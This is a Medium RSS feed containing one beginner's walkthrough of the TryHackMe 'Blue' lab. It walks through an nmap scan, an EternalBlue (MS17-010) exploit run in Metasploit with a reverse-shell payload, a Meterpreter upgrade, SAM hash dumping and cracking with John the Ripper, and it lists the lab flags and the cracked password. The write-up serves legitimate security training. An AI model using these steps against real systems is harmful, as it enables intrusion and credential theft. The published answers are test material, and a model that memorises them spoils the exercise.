<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anusreeramesh on Medium]]></title>
        <description><![CDATA[Stories by Anusreeramesh on Medium]]></description>
        <link>https://medium.com/@anusreeramesh8137?source=rss-6adc57ac37a8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*z_5hhDE5Tc5q_4w1</url>
            <title>Stories by Anusreeramesh on Medium</title>
            <link>https://medium.com/@anusreeramesh8137?source=rss-6adc57ac37a8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 13:55:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anusreeramesh8137/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Blue- Try Hack Me — Windows Machine Exploitation]]></title>
            <link>https://medium.com/@anusreeramesh8137/blue-try-hack-me-windows-machine-exploitation-cb433cb6af85?source=rss-6adc57ac37a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb433cb6af85</guid>
            <dc:creator><![CDATA[Anusreeramesh]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 11:06:10 GMT</pubDate>
            <atom:updated>2026-11-15T11:06:10.428Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/384/0*6wEOmZhd_3IGB6YL.png" /><figcaption>blue room ai assissted</figcaption></figure><p>Deploy &amp; hack into a Windows machine, leveraging common misconfiguration issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dXCg6CUX6SDHcsfjNIwP3w.jpeg" /><figcaption>interface</figcaption></figure><h3>Author’s Note</h3><p><em>This write-up documents my hands-on experience completing the </em><strong><em>Blue room on Try Hack Me</em></strong><em>. The objective of this exercise is to explore a Windows machine, identify security weaknesses caused by common misconfiguration, and understand how they can be exploited in a controlled lab environment. Throughout this walk through, I will document the methodology, tools, commands, and findings from each stage of the assessment</em></p><h3>Introduction</h3><p>The <strong>Blue room</strong> on Try Hack Me is a beginner-friendly, hands-on penetration testing lab focused on identifying and exploiting vulnerabilities in a Windows machine.The exercise provides an opportunity to understand how security weaknesses in Windows systems can expose machines to potential attacks. It involves setting up an appropriate virtual lab environment, performing reconnaissance and enumeration, identifying vulnerabilities, and progressing through the challenges using practical security testing techniques.The room is divided into five stages, guiding learners through the process of assessing and exploiting the target machine.</p><p>This walk through presents my approach to each stage, including the commands used, observations made, and technical concepts learned along the way.and an extra method to test manually also …</p><h3>1. Lab Setup and Environment Configuration</h3><p>Before beginning the assessment, I first prepared my lab environment using Try Hack Me and Kali Linux.</p><p>I selected the <strong>Blue room</strong> on Try Hack Me and deployed the target Windows machine. To establish connectivity between my Kali Linux machine and the Try Hack Me lab network, I used Open VPN.</p><h3>Connecting to Try Hack Me using Open VPN</h3><p>I downloaded the OpenVPN configuration file (.ovpn) from my TryHackMe account.</p><p>Next, I opened the Kali Linux terminal and executed the following command to establish the VPN connection:</p><pre>sudo openvpn filename.ovpn</pre><p>Here:</p><ul><li>sudo – Executes the command with administrative privileges</li></ul><p>. openvpn – Starts the OpenVPN client.</p><ul><li>filename.ovpn – Specifies the downloaded VPN configuration file.</li></ul><p>After executing the command, I waited until the terminal displayed:</p><pre>Initialization Sequence Completed</pre><p>This confirmed that the VPN connection was successfully established.</p><p>With the VPN connection active and the target Windows machine deployed, my lab environment was ready for the next stage of the assessment.</p><p>the next step is doing nmap .our try hack me first stage is recon.in that stage there are 3 questions we can see that is,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hg-KiHvfkcWgyNA94YBTcg.jpeg" /><figcaption>this is the questions in recon</figcaption></figure><h3>2. Part 1 — Reconnaissance</h3><p>The first stage of the Blue room focuses on reconnaissance. The objective is to scan the target Windows machine, identify exposed services, and gather information that may help reveal potential security vulnerabilities.</p><p>Network Scanning</p><p>I used <strong>Nmap</strong> to scan the target machine and identify its open ports and running services.The scan helped me understand the target’s network exposure and identify services that could require further investigation.</p><p>first question dont need an answer</p><ul><li><strong>Answer to Question 2:</strong> 3</li><li><strong>Answer to Question 3:</strong> MS17–010</li></ul><p>The reconnaissance stage provided the initial information required to investigate the target’s security weaknesses further.</p><p><em>Screenshots of the Nmap scan results and completed room questions are included below as evidence.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*paFli_N_Onnd3GbkiZzrAA.png" /><figcaption>here we can see 5 port is open and 3 is less than 1000</figcaption></figure><h3>3. Part 2 — Exploitation and Gaining Initial Access</h3><p>After completing the reconnaissance phase and identifying the <strong>MS17–010 (EternalBlue)</strong> vulnerability, I proceeded to exploit the target Windows machine using the Metasploit Framework.</p><h3>Starting Metasploit</h3><p>I launched Metasploit from the Kali Linux terminal:</p><p>type msfconsole</p><p>then i search command:search eternalblue</p><p>then i got:</p><pre>exploit/windows/smb/ms17_010_eternalblue<br><br>then i run use 0 to run that we can also use the copy paste of this command </pre><p>After selecting the exploit module, I displayed the available options and configured the required target information. i typed show options then i got RHOSTS</p><p>The required option was:</p><pre>RHOSTS<br><br>then i manully set rhost by command <br>set RHOSTS &lt;IP&gt;<br><br>then manually type LHOST <br>set LHOST &lt;IP&gt;</pre><p>Executing the Exploit</p><p>After configuring the required options and payload, I executed the exploit.</p><p>The exploit successfully established a connection and provided a Windows command shell on the target machine, confirming that initial access had been achieved.</p><p>I then backgrounded the shell using CTRL + Z to continue with the remaining tasks.</p><h3>Answers</h3><ol><li><strong>Exploit module:</strong> exploit/windows/smb/ms17_010_eternalblue</li><li><strong>Required option:</strong> RHOSTS</li><li><strong>Payload:</strong> windows/x64/shell/reverse_tcp</li></ol><p><em>Screenshots of the exploit configuration, execution, and successful shell access are included below.</em></p><p><strong>Key learning:</strong> This stage demonstrated how the MS17–010 vulnerability can be exploited using Metasploit to gain initial access to a vulnerable Windows system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgTMoFLeedyzPGBlgOyBpA.png" /><figcaption>see RHOSTS</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M5L9-xQ-0zFOaevOx-SUNg.png" /></figure><h3>4. Part 3 — Privilege Escalation</h3><p>After gaining initial access to the target Windows machine, I proceeded to the privilege escalation stage. The objective was to upgrade the existing command shell to a Meterpreter session and obtain <strong>NT AUTHORITY\SYSTEM</strong> privileges.</p><h3>Converting Shell to Meterpreter</h3><p>First, I backgrounded the previously obtained shell using CTRL + Z.</p><p>To convert the existing command shell into a Meterpreter session, I selected the following post-exploitation module in Metasploit:</p><pre>post/multi/manage/shell_to_meterpreter</pre><p>After selecting the module, I displayed its available options and identified the required option.</p><p><strong>Required option:</strong></p><pre>SESSION</pre><p>This option specifies the existing session that needs to be upgraded to a Meterpreter session.</p><h3>Answers</h3><ol><li><strong>Post-exploitation module:</strong> post/multi/manage/shell_to_meterpreter(we get this after search (search shell_to) then run command use 0</li><li><strong>Required option:</strong> SESSION</li></ol><p><em>Screenshot of the Meterpreter conversion module and its configuration is included below.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8xM2jJc1Ms31D9NPk5tfg.png" /><figcaption>here we can see the ans of first question in escalation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QqCUOgkXZLqQKQkBCE003w.jpeg" /><figcaption>answer of this question( Select this (use MODULE_PATH). Show options, what option are we required to change) is SESSION</figcaption></figure><h3>5. Part 4 — Password Dumping and Cracking</h3><p>After obtaining elevated privileges on the target Windows machine, I proceeded to extract the local user password hashes.i type hashdump in meterpreter then i got 3 hashes</p><p>Within the elevated Meterpreter session, I executed the following command:</p><p>hashdump</p><p>The hashdump command extracts password hashes from the Windows Security Account Manager (SAM) database. This requires sufficient privileges on the target machine.</p><p>From the output, I identified the non-default user account.</p><p><strong>Identified user:</strong> Jon</p><h3>Cracking the Password Hash Using John the Ripper</h3><p>After extracting the password hash, I copied it into a file for password-cracking analysis.</p><p>I then used <strong>John the Ripper</strong>, a password-auditing tool, to attempt to recover the original password from the hash.</p><p>Using a wordlist-based attack, John compared password candidates against the extracted hash until it found a match.i use the wordlist rockyou.txt</p><p>The password was successfully recovered.</p><p><strong>Cracked password:</strong></p><pre>alqfna22</pre><h3>Answers</h3><ol><li><strong>Non-default user:</strong> Jon</li><li><strong>Cracked password:</strong> alqfna22</li></ol><p><em>Screenshots of the hashdump output and John the Ripper results are included below.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jS0KGjOi04A4_89yWvAhFw.png" /><figcaption>here we can see the cracked password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J_dRR6OTDjzpN4kwg36GKA.png" /></figure><h3>6. Part 5 — Finding the Flags</h3><p>After successfully exploiting the Windows machine, obtaining SYSTEM privileges, and cracking the user’s password, I moved on to the final stage of the room: locating all three flags.</p><p>The objective was to navigate through the Windows file system and identify the flags stored in different locations.</p><h3>Flag 1 — System Root Directory</h3><p>The first flag was located in the root directory of the Windows system drive.</p><p>I navigated to the C:\ directory using the Meterpreter shell:</p><p>cd C:\\</p><p>then i got first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bATv95DMj60hmbEyCN22ug.jpeg" /><figcaption>i cat that flag1.txt then i got first flag</figcaption></figure><h3>Flag 2 — Windows Password Storage Location</h3><p>The second flag was located in the Windows directory associated with password storage.i did this in a different way i manually search the flag. i know the format of flag and i use search -f flag2.txt then i found the path that is windows/system32/config so i manually check all that and find the second flag</p><h3>Flag 3 — Administrator’s Directory</h3><p>The third flag was located in the Administrator’s directory.</p><p>Since administrators may store important files and information in their user directories, this location was worth investigating.</p><p>I navigated through the Windows file system, located the flag file, and retrieved the final flag. i check directories like desktop documents and finally found the flag from documents</p><p>here is the 3 flags</p><ol><li>flag{access_the_machine}</li><li>flag{sam_database_elevated_access}</li><li>flag{admin_documents_can_be_valuable}</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKSEqV2hRFp5QWktMq2JGw.png" /></figure><h3>Conclusion</h3><p>Successfully completing the <strong>Blue room on TryHackMe</strong> was a valuable hands-on learning experience that helped me understand the practical aspects of Windows penetration testing.</p><p>Throughout this exercise, I worked through different stages of a penetration testing process, starting with network reconnaissance and vulnerability identification, followed by exploiting the <strong>MS17–010 (EternalBlue)</strong> vulnerability using Metasploit.</p><p>I also gained practical experience with Meterpreter, privilege escalation, Windows password hash extraction, and password cracking using John the Ripper. Finally, I explored the Windows file system to locate all three flags and complete the challenge.</p><p>This room helped me connect theoretical cybersecurity concepts with practical applications and strengthened my understanding of how vulnerable Windows systems can be exploited when security weaknesses are left unaddressed.</p><p>Every lab provides an opportunity to learn something new, and this experience has motivated me to continue exploring, practising, and improving my penetration testing skills.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb433cb6af85" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>